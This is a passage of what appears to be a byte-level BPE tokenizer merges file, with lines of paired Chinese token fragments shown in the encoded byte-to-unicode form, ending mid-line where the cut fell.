+表çݰ 为 +å¾Ī æ¸ħæ¥ļ +大 åĨĽ +æĿ¥ ç͵ +å¥Ĺ æĪ¿ +çݰ è¡Į +享 åıĹåΰ +çľĭ çĤ¹ +åĽºå®ļ èµĦ产 +以 人为 +以人为 æľ¬ +ä¸į å®Į +éĻį 鼨 +åģļçļĦ äºĭæĥħ +å¹¶ äºİ +顽 强 +èĢ ¸ +åĺ´ å·´ +缸åħ³ ä¿¡æģ¯ +æĪij 没 +æĪĺçķ¥ æĢ§ +æĢĿ 念 +åĪĺ å¤ĩ +åĬ© æĶ» +é£İ è²Į +éĿ¢å¯¹ éĿ¢ +积æŀģ å¼Ģå±ķ +çĸĹ æķĪ +çľĭ 书 +缺 åı£ +åĽ½æ°ij ç»ıæµİ +使ç͍ æĿĥ +éģ¥ è¿ľ +å¡« è¡¥ +第ä¸ī 人 +åįĬ å¤ľ +æŃ¦æ±ī å¸Ĥ +æĪij åıijçݰ +ä¼ĺæĥł æĶ¿çŃĸ +é£İ åı£ +å°± ä¸įèĥ½ +为 主è¦ģ +æµģ åĩº +å´ĩ æĭľ +å¹¶ ä¸įèĥ½ +é«ĺ ä¸ī +ä¸ĸçķĮä¸Ĭ æľĢ +æĥ³ å¿ħ +åħ¶ æīĢ +åĢĻ éĢī +åĢĻéĢī 人 +ä¸į çα +åī¯ ä½ľç͍ +人æ°ij æĹ¥æĬ¥ +æĪij ä¸įæĺ¯ +å®ŀ çī© +ç͵ åİĤ +ä¹Ł ç®Ĺæĺ¯ +æľī éĹľ +æľī èĥ½åĬĽ +æĮĤ åľ¨ +çľ¼ ä¸ĭ +约 ç¿° +å°ı åѦçĶŁ +èµ· åΰäºĨ +å·¥ 夫 +åIJĮ å¿ĥ +åĿ¦ è¨Ģ +çł Į +åıijæĮ¥ äºĨ +èģĮä¸ļ éģĵå¾· +è¿ĻäºĽ å¹´ +念 头 +èĢģ é¼ł +åħ¨ èµĦ +åħ¨èµĦ åŃIJ +ä¸Ģ åij³ +å¤ļ ä¸ĩåħĥ +æł¼ æľĥ +éķ¿ éĢĶ +带 èµ° +èĭ± 寸 +æĸĩ ä½ĵ +对 ä»ĸ们 +åĵŃ äºĨ +å¡« æĬ¥ +çīĪæĿĥ 声æĺİ +ç͵ 线 +è´Ńçī© ä¸Ńå¿ĥ +饱 满 +ä½İ 头 +强 è¿« +ä¿Ŀ æ´ģ +欧 åĨł +缸 è¿ŀ +认 è´Ń +çģ« æĺŁ +é«ĺ å°Ķ +é«ĺå°Ķ 夫 +èij« èĬ¦ +æłĩ 注 +çļĦ çIJĨæĥ³ +æł¸ éħ¸ +æł¸éħ¸ æ£Ģæµĭ +åĬ ī +ä¸Ģèά æĺ¯ +æĢĿ ç´¢ +轨 迹 +çĥŃ å¸¦ +éĻ £ +åĩĨç¡® æĢ§ +æĪ´ çĿĢ +åľ¨ çĶŁæ´»ä¸Ń +æīĢ èĥ½ +æľ¯ åIJİ +带 ä½ł +ç¥ ł +æ®ĭ éħ· +ä¹Ł åıªæĺ¯ +çͳ è´Ń +举åĬŀ äºĨ +æľī æĦıä¹ī +æĹº 缼 +åľ¨ ç¶² +åľ¨ç¶² è·¯ä¸Ĭ +å¾Ī大 ç¨ĭ度 +管 è¾ĸ +çĸ«æĥħ æľŁéĹ´ +触 æij¸ +éĺ¶æ®µ æĢ§ +ä¼ļ è§īå¾Ĺ +çļĦ çĶ»éĿ¢ +æİ¥åıĹ äºĨ +表达 äºĨ +éĤĵ å°ı +éĤĵå°ı å¹³ +åħļ é£İ +åħļé£İ å»īæĶ¿ +åķĨ åѦéĻ¢ +åħij æį¢ +é£Łåĵģ èį¯åĵģ +éĿŀ常 好çļĦ +çľ ¯ +纳 ç±³ +åĬ¨ æijĩ +åĽŀ éģ¿ +çľĭ èijĹ +款 项 +åħ« å¹´ +åģļ 个 +æĸĩ æ¡£ +éĩijèŀį ç§ijæĬĢ +åħ¶ä¸Ń æľī +äºĨä¸Ģ ç³»åĪĹ +æĹĹèΰ åºĹ +ç§° èµŀ +éĽ¢ éĸĭ +åζ åĨ· +å®¶ éŨåı£ +åįģ å¤ļ +ä¼´ ä¾£ +çľĭ çĹħ +æĭī çĿĢ +æī Ĵ +çĸ² æĥ« +å°ijæķ° æ°ijæĹı +åĽ¾ å½¢ +è½ § +å¢ŀ éĩı +饲 åħ» +çģ« å±± +æ¯ı 个æľĪ +ä½ľä¸º ä¸ĢåIJį +è½´ æī¿ +æĸĩ 书 +ç¼ ķ +åħ·ä½ĵ æĥħåĨµ +çĹĽ çĤ¹ +缴 éĶĢ +å¡ Ĭ +ä¹Ł æľĥ +çĥŃ æ½® +å¹³ æ°ij +æ¼Ķåͱ ä¼ļ +æķĻ çłĶ +éĢĥ éģ¿ +ä¸Ģ è´¯ +å°± è¶Ĭ +å®ŀ å®ŀåľ¨ +å®ŀå®ŀåľ¨ åľ¨ +ä¹łè¿ijå¹³ æĢ» +æº º +å¿ĥ åºķ +éķ¿ å¾ģ +媽 媽 +第ä¸ī 次 +åĩº æ¼Ķ +çĭĢ æ³ģ +å°Ķ æĸ¯ +代çIJĨ åķĨ +çĨ ı +çļĦ 对象 +ç͵ éĩı +è¡Į åĪĹ +åĽ½ 人 +è·ij äºĨ +åįĶ åĬ© +èIJ¥ è¿IJ +å¸Ī åħĦ +æ¦ ® +æĥ³ åĥı +æĢ§ 强 +ç§ijåѦ çłĶç©¶ +å»¶ å®ī +ä¸¥æł¼ èIJ½å®ŀ +é¢Ĩ ä¼ļ +缸 å·® +è·¯ 人 +çĶ « +æľī ä»·å̼ +æľīä»·å̼ çļĦ +ç¾İ åĽ¢ +æ°ij主 çĶŁæ´» +æĪij æīį +ç¾İåĽ½ 人 +æ°Ķ åij³ +åıį å°Ħ +çļĦ åĨ³å¿ĥ +大 è±Ĩ +交 代 +è¿Ľ åĩº +åıį æĬĹ +æĮĩ çļĦæĺ¯ +ä»· ä½į +è¿Ľ é©» +ä¸Ĭ çϾ +ä½į åĪĹ +ä¸ŃåĽ½ ä¼ģä¸ļ +çļĦ好 å¤Ħ +主 ç¼ĸ +æ±½ æ²¹ +ä½Ĩ æĪij们 +æĢİä¹Ī çľĭ +é»Ħ å±± +å¤ļ åªĴä½ĵ +åIJİ åį« +èİ·å¾Ĺ æĽ´å¤ļ +åĬ¡ å¿ħ +为 å¥ijæľº +é¦ĸ 饰 +ä¸ĩ åįļ +è¶ĬæĿ¥è¶Ĭ 大 +ä¸ĵ项 è¡ĮåĬ¨ +å¥ĭ è¿Ľ +ä»į çĦ¶æĺ¯ +è´¨ æĦŁ +å¦Ĥæŀľ ä¸įæĺ¯ +ç«Ļ èµ·æĿ¥ +ä¹¾ éļĨ +åı¯æĢķ çļĦ +å¯Į è´µ +æ¸ħ ç®Ĺ +åIJij ä¸ĭ +åĢ ļ +çļĦ çŃĶæ¡Ī +èι ä¸Ĭ +çļĦ羣å®ŀ æĢ§ +çŃī åĬŁèĥ½ +åĸľ åī§ +å¨ģ åĬĽ +æĸ° é¢ĸ +æł¸ ç͵ +æĬ¥ éĶĢ +æķħ 乡 +ä¼´ éļı +éŀ Ń +å¦Ĭ å¨ł +åĪĨ åĮĸ +æľī å¾Ī大 +æĢİä¹Ī 说 +æĻĤ 代 +产 åĩº +ä»ĭç»į 说 +å¤ĦçIJĨ åύ +èĨ¨ èĥĢ +åī¯ å¸Ĥéķ¿ +çļĦ 妻åŃIJ +æł· åĵģ +åIJĮæ¯Ķ ä¸ĭéĻį +åħĥ å·¦åı³ +ç͍ èĩªå·±çļĦ +é«ĺ éĽĦ +æĺ¥ æĻļ +ä¹Ł æľīå¾Īå¤ļ +çľ¼ çIJĥ +æķ£ æŃ¥ +ä»ĸ们 éĥ½ +第ä¸Ģ å®¶ +åĬŀ 好 +å®ī éĺ² +ä¸Ģ ä¸ĩ +åľ¨ éĩĮéĿ¢ +éŁ³ é¢ij +åı£ åı· +ä¸Ģ è¶Ł +ç¦ı çī¹ +é³ ŀ +æĥĬ èī³ +æĸ° å¨ĺ +绿èī² åıijå±ķ +ä¸Ń å¼ı +ä¹Ł åıªæľī +çݰ 身 +åı¯ ä¾Ľ +æ¯ı ä¸Ģ个人 +第ä¸ī èĢħ +åľ° å½¢ +éĴ¢ ç»ĵæŀĦ +çĽijçĿ£ æ£ĢæŁ¥ +åı« æĪij +èĩ´ æķ¬ +æ´Ĺ æīĭ +ä¸ĭ è°ĥ +康 çĨĻ +æĪIJ交 éĩı +ä¹Ł æĪIJ为 +åħī æ»ij +å®Įæķ´ æĢ§ +çģ ¼ +ç¶² éłģ +éķ¿ å¯¿ +éģ© ç͍ +çļĦä¸Ģ 项 +çŀ© 缮 +æĬĬ èĩªå·±çļĦ +éĵ¶è¡Į åį¡ +å°± å¿ħé¡» +ç¾İ çϽ +éŀį å±± +æľ¬ é¢Ĩ +ä¸Ģ ç¢Ĺ +æīĵ æ³ķ +æĤ¨ 好 +对 åŃ©åŃIJ +æĬ¥éģĵ ç§° +ä¼ł åĩº +大 èĩ£ +ç¬ ĭ +çĽ ı +é¾ ļ +缴 线 +æĻº åºĵ +ç§Ł 车 +é£İ åij³ +çľĭ ä¸Ģä¸ĭ +æİ¨ éĶĢ +éĥ¨ éĥ¨éķ¿ +è´¨éĩı åĴĮ +åĪĬ çĻ» +å·¥ä¸ļ åĮĸ +çİĩ 为 +鼶 ä»¶ +硬 åĮĸ +ä¸Ĭ åįĥ +ç»ıéªĮ å̼ +å¹³ è¡Į +声 éģĵ +æľįåĬ¡ è´¨éĩı +çĶŁ çĶ¢ +æľĢ 容æĺĵ +ä¸Ģ æŀļ +å¹´ æĬ¥ +åħ¬ ç½ij +åħ¬ç½ij å®ī +åħ¬ç½ijå®ī å¤ĩ +çļĦ èĥ½éĩı +å®ŀéĻħ è¡ĮåĬ¨ +è¦ģ ä¸įè¦ģ +æĹ¥æľ¬ 人 +è̶ 稣 +ç¼ĸ åī§ +æ¶ © +åį° å°¼ +ä¸Ĭä¸ĭ 游 +åĩł åı¥ +ä¸Ń éĵģ +ç°¡ åĸ® +èĩª 带 +çĶŁ äºİ +ä¸Ģ åı£æ°Ķ +åĭ¤ å¥ĭ +éĻį ä»· +å±ķçݰ äºĨ +å¸ĥ æĭī +ä¼ļ éĢīæĭ© +çļĦ ç»ıåħ¸ +好 æľĭåıĭ +车 éģĵ +æķ´ åĢĭ +åľ ĵ +éķ¿æľŁ 以æĿ¥ +æĬķ å½± +çļĩ åĨł +è¿ĩ 大 +åijĬè¯ī ä»ĸ +ä¼ģä¸ļ æıIJä¾Ľ +æĬ½ 象 +éĢĤ 度 +çļĦ 女åŃ© +èµ· ä¼ı +çļĦ åĬŁæķĪ +ä¸ĵ项 æķ´æ²» +åı¯ éĢļè¿ĩ +ä¸įåIJĮ ç¨ĭ度 +å¼Ĥ è®® +åĩĢ èµĦ产 +åij Ĺ +ä»Ģä¹Ī åij¢ +å·¡ éĢ» +è¸ı ä¸Ĭ +ä½Ĩ å®ĥ +ç²¾ 度 +管 å±Ģ +第ä¸Ģ åIJį +åĨħ åŃĺ +æijĨ åľ¨ +åī© ä¸ĭ +主ä½ĵ 责任 +çĤ¹ åįĬ +以 èĩ³äºİ +åħ»èĢģ ä¿ĿéĻ© +æĦŁåıĹ åΰäºĨ +çŁ¥åIJį çļĦ +å¯Į 豪 +妥 åĸĦ +åŃĻ åŃIJ +éĵ Ĥ +说 èĩªå·± +让 æĤ¨ +æķ° æİ§ +çļĦçľ¼ åħī +注 éĶĢ +çļĦ çģµéŃĤ +è¿ĺ ä¸įéĶĻ +éĹ® ä»ĸ +èĩªä¸» çłĶåıij +èĵ ĭ +ç´« èī² +åĽ½å®¶ å®īåħ¨ +è¾½å®ģ çľģ +ä¹Ł æ¯Ķè¾ĥ +ç¾İ èĤ¡ +ä¸įç¡®å®ļ æĢ§ +å¿ĥ 头 +æĪ ³ +级 åĪ«çļĦ +论 è¿° +çļĦ åĽŀçŃĶ +ä¿Ŀè¯ģ éĩij +çŃī è¡Įä¸ļ +幸ç¦ı æĦŁ +æŃ§ è§Ĩ +æľº 票 +æ´¾ 人 +èĩ´ åij½ +åĺ´ è§Ĵ +æĸ°éĹ» ä¸Ńå¿ĥ +æĶ¾å¼ĥ äºĨ +å®ľ å±ħ +åĨĻ ä¸ĭ +éĹ® çŃĶ +è¿ĻéĩĮ æĺ¯ +å¤ļ åľ° +åĮºåŁŁ åĨħ +åīµ æĸ° +çľĭ ä»ĸ +æī§æ³ķ 人åijĺ +åĬ¨ æľº +éŁ³ åĵį +çļĦ åij½è¿IJ +é¡¶ éĥ¨ +åĵ Ł +éĥ½ æľĥ +æīĵéĢł æĪIJ +æĦı åĽ¾ +çļ ĸ +åĢĴ åħ¥ +å·´ èIJ¨ +åĬ© åѦ +å¤į åı¤ +åIJ¯ ç͍ +åĽ½éĻħ å¸Ĥåľº +åĤ¨ èĥ½ +é»ijé¾Ļæ±Ł çľģ +ä¹ĺ 车 +è¿IJåĬ¨ ä¼ļ +ä¿Ŀ åĪ© +çŁ³ æĿIJ +çµ ® +çĤĴ ä½ľ +çļĦ ä¿¡ä»» +å°± æĪIJäºĨ +åı¯ è§Ĥ +çļĩ ä¸Ĭ +è¿Ļ åĩłå¤© +ä¸Ģ éĶ® +åĨ· åĨ» +ä¿Ŀ åį« +æł¸ æ¡ĥ +åIJĪä½ľ åħ³ç³» +éĢģ åĩº +æĹĹ ä¸ĭçļĦ +åľ¨ ä¹İ +为 广大 +åįĪ é¤IJ +ä¸ĵ 访 +æĪĸ å°Ĩ +éĿĴå²Ľ å¸Ĥ +å¥Ķ è·ij +æĹ¥ æĬ¥éģĵ +å¥ij åIJĪ +æĸ° æĺ¥ +ä¸į å°ıå¿ĥ +两 ä¸ī +æĦıæĢĿ æĺ¯ +åĨ· èĹı +çļĦ çĹĩçĬ¶ +æĢ§ åij½ +è¶ħ æłĩ +å¯Ĩ 碼 +ç§ijæĬĢ èĤ¡ä»½ +äºĨä¸Ģ æī¹ +çĿ£ å¯Ł +åªĴ ä»ĭ +å°Ħ æīĭ +ä¿® åħ» +çīĩ åĪ» +éĢĤåIJĪ èĩªå·± +åıªè¦ģ æĺ¯ +åIJĥ è¿ĩ +éĩij éĵ¶ +缴 å±ŀ +åѦ éĹ® +åİĭ åζ +çªĹ å¤ĸ +æĶ¶ åΰäºĨ +åħ¨åĽ½ 人大 +ä½Ĩæĺ¯ 对äºİ +åľ¨ æķ´ä¸ª +çļĦ èĥĮåIJİ +åĩıå°ij äºĨ +åıį èħIJ +åıįèħIJ åĢ¡ +åıįèħIJåĢ¡ å»ī +æĹ · +åĪĨ æľŁ +åľ¨ æ·±åľ³ +æīĵ çĿĢ +æī« ä¸Ģ +æī«ä¸Ģ æī« +æĶ¿åºľ éĥ¨éŨ +æİ¥ è¿ŀ +å±ŀäºİ èĩªå·± +åŃIJ å¼¹ +åIJĮæł· æĺ¯ +æĢ» åħ± +车 ä¼ģ +æ¢ ĵ +åħ¬ é¡· +åıij 声 +éĴ Ľ +èµ°åĬ¿ åĽ¾ +主 èIJ¥ +åĸ Ķ +æķ°æį® åĪĨæŀIJ +ä¸į è¿ľ +æľī åIJį +æľīåIJį çļĦ +åģ¿ è¿ĺ +å¾Ī ä½İ +è®ĵ 人 +èĿ ī +é«ĺ è´µ +å°ij 许 +æ° Ł +å¹ ¢ +亲 æĥħ +è¿Ļä»¶ äºĭæĥħ +ç͍ é¤IJ +缸åħ³ æĸ°éĹ» +å°± åºĶ该 +ç»Ī çĤ¹ +æĺ¯ å¤ļå°ij +çĻ» åľº +è¯ķ 管 +è¯ķ管 å©´åĦ¿ +åģļ 大 +åģļ大 åģļ强 +çļĦ ä¾ĭåŃIJ +åħ« 个 +æĺİ æĹ¥ +çĤ ³ +èµ° åİ» +éģ º +å¢ © +ä½ĵä¼ļ åΰ +åĴ ı +ä¸ĭ è¾¾ +å¤į åıij +追 éĢIJ +æīĵ åĵį +çļĦ éļ±ç§ģæ¬Ĭ +åħ·æľī ä¸Ģå®ļ +è¿Ļä¹Ī å¤ļå¹´ +æłij æŀĹ +æľĢ éķ¿ +åIJĮ èĥŀ +åħī æ³½ +åŁŁ åIJį +æĮĩ åIJij +åıĹ害 èĢħ +æłij èĦĤ +æľīå¤ļ 大 +大 éĿ¢ç§¯ +æĹł ç¼Ŀ +æĶ¹ æŃ£ +æĽ´å¤ļ çļĦæĺ¯ +æľŁ æľ« +æŃ ¼ +ä¹ī ä¹Į +éĤ£ ä½ł +çļĦ 第ä¸Ģ个 +èĮ µ +å° § +èį « +ä¸įä»ħ åı¯ä»¥ +æ¶Į çݰ +æĢ» éĿ¢ç§¯ +æĸ°éĹ» åıijå¸ĥ +æ°ij ç͍ +å°± 读 +æīĵ è´¥ +å¤ĸ è¯Ń +æĪij们 ä¸Ģèµ· +é¢Ħ å®ļ +çĥ¹ 饪 +æľĢ 主è¦ģ +æľĢ主è¦ģ çļĦ +çīĮ çħ§ +åĽł åħ¶ +ä½İ ä¸ĭ +ä¼ļ åIJĮ +è§ģ è§£ +éĹ´ éļĶ +æķĻ ç¨ĭ +å° ī +å¸Ĥ ä¸Ńå¿ĥ +åħ³éĶ® æĺ¯ +æµ· åįĹçľģ +çī¹åĪ« æĺ¯åľ¨ +ä¸ŃåĽ½ 大éĻĨ +åħħè¶³ çļĦ +æĹ¢ èĥ½ +åĤ³ çµ± +çijľ ä¼½ +åħ¥ åĽ´ +æħ¢æħ¢ åľ° +æĬ¥ éħ¬ +æī¹ å¤į +å·¥ä¸ļ åĽŃåĮº +ä¸İ åıijå±ķ +èĥ¸ éĥ¨ +åľ¨ ç½ij绾 +åľ¨ç½ij绾 ä¸Ĭ +交 è°Ī +æĽ´ æĶ¹ +åįłæľī çİĩ +ä¸Ŀ绸 ä¹ĭè·¯ +è¡ Ľ +çłĶ åΤ +åĪ ª +åĪª éϤ +è¿Ļ åıª +çļĦ æ°Ķæģ¯ +åĬł å·ŀ +éĴ § +çIJĨäºĭ éķ¿ +ä¸ĸ å®¶ +æµģè¡Į çļĦ +å¾Ī æľīåı¯èĥ½ +们 éĥ½ +ç»ıèIJ¥ 模å¼ı +è¡Įä¸ļ ä¸Ń +éĢļçŁ¥ 书 +åij½ é¢ĺ +æľ¬ ç¶²ç«Ļ +æ²Ļ çī¹ +åıij åħī +é«ĺ ä»· +å·² çĦ¶ +åıĮ åįģä¸Ģ +ä¸Ĭ è¯ī +ç¿ħ èĨĢ +è¿Ļä¸Ģ å¹´ +大ä¼ļ ä¸Ĭ +éĩ ī +å®Įåħ¨ æĺ¯ +å¾Ĺ 太 +ä¸Ģèά 人 +è¿ĺ ç®Ĺ +æĬĺ åıł +æĬķ æľº +çĤ¹ çĩĥ +çݰéĩij æµģ +åħĶ åŃIJ +ç½ij æł¼ +æİ¥ è¿ĩ +ä¾Ľ è´§ +éĺ´ å½± +åİŁ åħĪ +æį £ +å·¦ ä¾§ +åħĭ æĭī +æīĵ åį¡ +ç§ij æ¯Ķ +æ±ĩ éĽĨ +åľ°çIJĨ ä½įç½® +è¯Ħ å§Ķ +ç»ĵåIJĪ èµ·æĿ¥ +è¿Ľåħ¥ åΰ +åı¯ è¡Į +åı¯è¡Į æĢ§ +让 å®ĥ +åĪ¶åº¦ æĶ¹éĿ© +çĶĺèĤĥ çľģ +åĵ Ĺ +åģı åģı +è¡£ çī© +ç¥Ŀ è´º +æºIJ èĩª +å¹¶ä¸į 代表 +åĽ½ 度 +好 åĿı +æĿ ĸ +æĿŃ å·ŀå¸Ĥ +湿 度 +é² ¸ +åįļ 彩 +æ³° å±± +æĿij èIJ½ +æĸ° èģŀ +èĤ ĭ +åı¤èĢģ çļĦ +çļĦ ç§ĺå¯Ĩ +ä¸Ģ个 éĹ®é¢ĺ +éģı åζ +åįĥ 亿 +è¿ĩ 硬 +å°Ħ åĩ» +èĩªçĦ¶ æĺ¯ +产 åĮº +çĤ¹ çĤ¹å¤´ +åı¯ä»¥ 帮åĬ© +说 å®ŀ +说å®ŀ è¯Ŀ +æĪij åıªæĺ¯ +ä¹ĭ ä½Ļ +åIJĮæĹ¶ ä¹Łæĺ¯ +ä¸ŃåĽ½ éĺŁ +建æĪIJ åIJİ +ä¹IJ è§Ĩ +åij¨ å²ģ +èᝠåºĹ +éĩij åįİ +严éĩį å½±åĵį +è´¨ åľ° +æĹħ éģĬ +åħµ åύ +æķĻèĤ² æķĻåѦ +离 åİ» +åIJĦå¼ı åIJĦæł· +ä»ĭ ç´ +ä»ĭç´ ¹ +å¼Ģ 头 +å°Ĩ èĩªå·±çļĦ +åIJ¬ åĬĽ +ä¿¡æģ¯ ç³»ç»Ł +ä»İ æł¹æľ¬ +ä»İæł¹æľ¬ ä¸Ĭ +æİĮ 声 +欢 åĸľ +å±ķ åĮº +åķ ¸ +太å¤ļ äºĨ +éĹ² ç½® +èĥ¡ èIJĿåįľ +å§Ķ å®£ä¼ł +å§Ķå®£ä¼ł éĥ¨ +åįĹ éĺ³ +å·ŀ åĮº +ä¸İ æĹ¶ +ä¸İæĹ¶ 俱 +ä¸İæĹ¶ä¿± è¿Ľ +å«Įçĸij 人 +èī¯ å¿ĥ +头 é¡¶ +è´¢ æĬ¥ +ä½Ľ æ³ķ +å¾ µ +åİŁ ä»¶ +åĭ ŀ +çĶ· 篮 +å¤ĸåĽ½ 人 +è¿Ŀ 纪 +æī¾ äºĨ +æįķ æįī +缸 è¯Ĩ +æIJľ éĽĨ +çļĦ ä¼Łå¤§ +ä¸ī ç»´ +å°±è¡Į äºĨ +çĭIJ æľĪ +çĭIJæľĪ å±± +å¸ĮæľĽ éĢļè¿ĩ +èĢĮ 对äºİ +éĿ¢ å°į +åĨĽ åĽ¢ +è¡Ĺ åĮº +æĤ¬ æĮĤ +便 ç§ĺ +æľīä¸Ģ çĤ¹ +ä¼ļè®® ä¸Ĭ +ä¸ĭ æīĭ +廣 åijĬ +äºĶ è¡Į +çŃī åĢĻ +ç´§ç´§ åĽ´ç»ķ +æĭ¿ äºĨ +æ¡Į éĿ¢ +ç¥ŀ æĥħ +éĽĦ åİļ +çŀ ³ +楼 ä¸ĭ +å½ ª +äºĭ åıij +åĨį è§ģ +é¤ ĺ +é¢Ħ åĶ® +åİ» çľĭçľĭ +æĪij们 åºĶ该 +ä¸ī å®¶ +æµ Ĭ +ä¹IJ éĺŁ +çľĭ ä¸įè§ģ +èĦij åŃIJ +æĮģ æľīçļĦ +çϽ èıľ +éĹª çĥģ +åĸĿ æ°´ +æİ§åζ ç³»ç»Ł +ä¸ĵ åĮº +æľĿ å»· +æĪij å¿ĥéĩĮ +å±ķ åİħ +èľĺ èĽĽ +åĨ» ç»ĵ +ç² ª +åº IJ +åIJij 社ä¼ļ +åĨ³çŃĸ éĥ¨ç½² +çŁŃ æľŁåĨħ +æĸ° ä¸ļæĢģ +æľ Ķ +æĹ¶ æĬ¥ +使 ä¹ĭ +åĽł åŃIJ +åıĤä¸İ èĢħ +çļĦ 年轻人 +æīĭ 表 +å°ģ éĶģ +为ä»Ģä¹Ī ä¸į +åIJ¸ çĥŁ +æ¯Ĵ ç´ł +åĪij æ³ķ +磫 æŃ£ +身 æĹģ +åİŁ è°ħ +çĽij æĬ¤ +æŃ¤ å¤Ħ +éļ¨ æĻĤ +æŀľ å®ŀ +åĮ»çĸĹ æľįåĬ¡ +ä¸į åIJĪçIJĨ +æIJŀ 好 +çļĦ èĦļæŃ¥ +å¤ĸ å¥Ĺ +ç¶ĵ éģİ +æĶ¾ ç¼ĵ +åģľ çķĻ +æĺŁ çIJĥ +çļĦä¸Ģ éĿ¢ +åĩł ä½ķ +è½® åĽŀ +æ¯Ľ å·¾ +ä¿® çIJĨ +ä¸įçŁ¥ ä¸į +ä¸įçŁ¥ä¸į è§ī +æķ´ 个人 +æ¯ģ çģŃ +åı° å·ŀ +使ç͍ 寿åij½ +é»ij çϽ +æij¸ ç´¢ +é¼ł æłĩ +éĿ© æĸ° +éº µ +ä¸ĵéŨ 为 +å¾Īå¤ļ æľĭåıĭ +å·¥ä½ľ ç»Ħ +åIJĪ å½± +çĤº ä»Ģ麼 +æŀģ 度 +çļĦ è¿ĽæŃ¥ +å½ĵ ä¹ĭ +å½ĵä¹ĭ æĹł +å½ĵä¹ĭæĹł æĦ§ +è´´ è¿ij +å°º 度 +åľ¨ çİ°åľº +éĻį 临 +åħ»èĢģ éĩij +ç£ ķ +åı¯ä»¥ 使 +管çIJĨ æ°´å¹³ +æľ¬æĬ¥ è®°èĢħ +æ³ķ 令 +åį¡ è½¦ +举 æµ· +å¤ļ éĩį +åħ¶ éĹ´ +ç´ Ļ +éĩį大 é¡¹çĽ® +æ±Ĺ æ°´ +ç»Ħ å§Ķä¼ļ +ä¿¡æģ¯ åħ¬å¼Ģ +ä¸į论 æĺ¯ +ä¸Ģ åIJ¬ +èĴ¸ æ±½ +æıŃ ç§ĺ +è¶ħ éģİ +触 åıij +å© ¦ +åħ³èģĶ äº¤æĺĵ +å°± ç»Ļ大家 +好 ä¹ħ +åĢŁ è´· +游æĪı è§Ĵèī² +å¼ĢåIJ¯ äºĨ +æİ ł +åħļçļĦ åįģä¹Ŀ +ä¸ĭ 鼨 +çŁŃ æĹ¶éĹ´åĨħ +å¯ ħ +导 åħ¥ +å·¥ä½ľ ç»ıéªĮ +ä¹Ł åıªèĥ½ +鼷 éľĨ +è·Ł è¿Ľ +åį¡ éĢļ +é¢ĩ æľī +æľº ä½ĵ +æĪĺ士 èģĮä¸ļ +女 主 +ä½ĵåζ æľºåζ +è¶³ åįı +èĪĴéĢĤ çļĦ +åĢŁ åı£ +æī¹ åΤ +æķ° å̼ +è« ¾ +éĺ¿æĭī 伯 +åĺ İ +æħ ¶ +è¾¾ 人 +å¼Ģ æ°´ +大 鼨 +温 室 +ä½İ è¿· +ä»į æĹ§ +éªĹ åŃIJ +亲 å±ŀ +çIJĨ æĻº +æľ¬ åŁºéĩij +å¨ ħ +åĨĻåŃĹ æ¥¼ +å¢Ļ å£ģ +å® µ +èϽ çĦ¶æĺ¯ +顺 çĿĢ +åħ« åᦠ+åķĨ ç͍ +ä¸į 失 +è¿· èĮ« +顺 便 +æļij æľŁ +欺 è´Ł +é¢ij é¢ij +该 æł¡ +æĸĻ çIJĨ +æ·± æĥħ +åīį éĶĭ +ä¿Ŀ èŃī +èģĮä¸ļ çĶŁæ¶¯ +åħ¬ å¼Ģåıij +åħ¬å¼Ģåıij è¡Į +åħ¥ æĪ· +éł ĵ +å̾ åIJ¬ +éŃ ģ +æĦī æĤ¦ +åĽŀ åIJĪ +åħ¨åĬĽ 以 +åħ¨åĬĽä»¥ èµ´ +åĥ¹ å̼ +èĥ½åĬĽ 强 +ç»ı å¼Ģ +ç»ıå¼Ģ åĮº +è¿ľ æĸ¹ +çļĦ éģĵçIJĨ +缴 åįĩ +缴åįĩ æľº +为主é¢ĺ çļĦ +ç»Ļ æĤ¨ +è¿ĺ æĥ³ +æ¯Ķ æĪij +åĨľ çī§ +æµ· åºķ +çŃ¾è®¢ äºĨ +对äºİ æĪij们 +æĹ¶ 许 +éĶ® çĽĺ +å®ŀéĻħ æİ§åζ +çļĦ æ¨¡æł· +åıįæĺł äºĨ +代 åĬŀ +åĮ» ç͍ +éĽĨ ç»ĵ +åıijå±ķ åīįæĻ¯ +æĮĩ çĿĢ +åįİ åĮĹ +è¿Ļ åĩłä¸ª +åIJį æ°Ķ +åĤį æĻļ +èĩª åıij +æ³¢ åħ° +大åĬĽ æİ¨è¿Ľ +èĩª ç§° +èįĨ å·ŀ +æIJį 害 +äºĨä¸Ģ åı¥ +æľĢåĪĿ çļĦ +éĩijèŀį å᱿ľº +æĢĢ å¿µ +è¡Į åĭķ +女 æİĴ +ä¸į è§£ +ä¼ł éĶĢ +转载 请 +饰 åĵģ +åıª 为 +ä¸İ ä¼Ĺ +ä¸İä¼Ĺ ä¸įåIJĮ +èĥ½ èĢĹ +èı© æıIJ +è¿ij 两年 +è¿Ķ 乡 +马ä¸Ĭ å°± +äºĮ çŃīå¥ĸ +æ°´ 管 +æ³ķ åѦ +çģŃ çģ« +大 å§IJ +åij¨ 转 +æľī æľŁ +æľīæľŁ å¾Ĵ +æľīæľŁå¾Ĵ åĪij +å°į æĸ¹ +ç¥ŀ èī² +æ²¹ èĦĤ +ä¸ī çĤ¹ +ä¸į åĪ©äºİ +äºĭä¸ļ éĥ¨ +å°± è·Ł +å¼Ģ æĶ¯ +å°ı 女åŃ© +åħ±åIJĮ åĬªåĬĽ +çĶļèĩ³ è¿ĺ +è¿Ļ åIJį +è¿Ļ ç¬Ķ +çݯ åį« +æľī ç§į +è§Ĩ åĬĽ +çĨŁ çŁ¥ +åħ¬ç§¯ éĩij +æ¶Īéĺ² å®īåħ¨ +é¢ĩ 为 +大 èħ¿ +éĿ ¶ +çī¹ æķĪ +æľįåĬ¡ åĮº +å¼Ģ åĩº +深度 èŀįåIJĪ +æĹł å¿§ +æŁ¥ éĺħ +ç»Ī ç»ĵ +ä¿Ŀ ç¨İ +è¨İ è«ĸ +å½ĵ åģļ +è·³ èĪŀ +å¯ § +女 çİĭ +è®°èĢħ åľ¨ +åħ¨ 产ä¸ļéĵ¾ +è´¯ éĢļ +åħ´ ä¸ļ +éĻį åΰ +å°ģ éĿ¢ +åħ¨éĿ¢ æİ¨è¿Ľ +奶 èĮ¶ +éĢī åĿĢ +äºĨä¸Ģ åľº +åIJĮ ä¼´ +è®® 论 +æIJ ĵ +诸 èijĽ +诸èijĽ 亮 +å¹² åĺĽ +æµģ æĦŁ +ä¸ĵä¸ļ çŁ¥è¯Ĩ +ç͵ ç«Ļ +åĩı å¼± +åĩº åħ¥ +åIJĦ çľģ +éĿŀ常 é«ĺ +åľ° 毯 +åıij æĸĩ +çĦ 